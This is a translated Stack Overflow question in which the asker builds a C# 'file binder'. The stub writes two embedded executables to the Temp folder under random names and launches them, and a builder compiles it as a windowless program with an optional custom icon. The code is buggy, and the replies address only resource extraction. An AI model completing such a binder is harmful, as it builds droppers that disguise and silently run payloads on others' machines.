【发布时间】:2019-02-13 04:53:18
【问题描述】:
所以,我正在制作一个文件活页夹。
saves1 和 saves2 是嵌入式资源
我想将它提取到临时文件夹中。
这是我的代码:
using System.IO;
using System.Diagnostics;
namespace _123
{
class Program
{
static void Main(string[] args)
{
string patdth = @"C:\Users\Alfred\AppData\Local\Temp";
byte[] lel1 = Properties.Resources.saves2;
byte[] lel = Properties.Resources.saves1;
File.WriteAllBytes(patdth + "\\hdhtehyr.exe", lel);
File.WriteAllBytes(patdth + "\\hdhdhdhgd.exe", lel1);
Process.Start(patdth + "\\hdhtehyr.exe");
Process.Start(patdth + "\\hdhdhdhgd.exe");
}
}
}
我收到此错误:
"错误 CS0103 名称 'Properties' 在当前不存在 上下文 ConsoleApplication3"。
编辑:
我在这里动态插入资源,你可以看到我的代码“/resources”+Path“是我添加资源的方式。
public void compile2(string file)
{
CodeDomProvider provider = CodeDomProvider.CreateProvider("CSharp");
CompilerParameters compars = new CompilerParameters();
compars.ReferencedAssemblies.Add("System.dll");
compars.ReferencedAssemblies.Add("System.Reflection.dll");
compars.ReferencedAssemblies.Add("System.IO.dll");
compars.GenerateExecutable = true;
compars.GenerateInMemory = false;
compars.TreatWarningsAsErrors = false;
compars.OutputAssembly = "Binded.exe";
compars.CompilerOptions = "/resources:" + textBox10.Text;
compars.CompilerOptions = "/resources:" + textBox11.Text;
compars.CompilerOptions = "/t:winexe";
if (string.IsNullOrWhiteSpace(textBox12.Text))
{
}
else
{
compars.CompilerOptions = "/win32icon:" + textBox12.Text;
}
CompilerResults res = provider.CompileAssemblyFromSource(compars, file);
{
MessageBox.Show("Code compiled!", "Success");
}
}
【问题讨论】:
-
这部分是你做的吗? stackoverflow.com/questions/16656104/… ?
-
您不能直接保存“嵌入”资源,因为顾名思义,它们嵌入在程序集中。尝试以下问题中的方法:stackoverflow.com/questions/4405813/… 并自动获取资源名称,您可以使用接受的答案:stackoverflow.com/questions/9555679/…
-
我想过吗?实际上我正在使用一种称为“动态编译”的方法。
标签: c#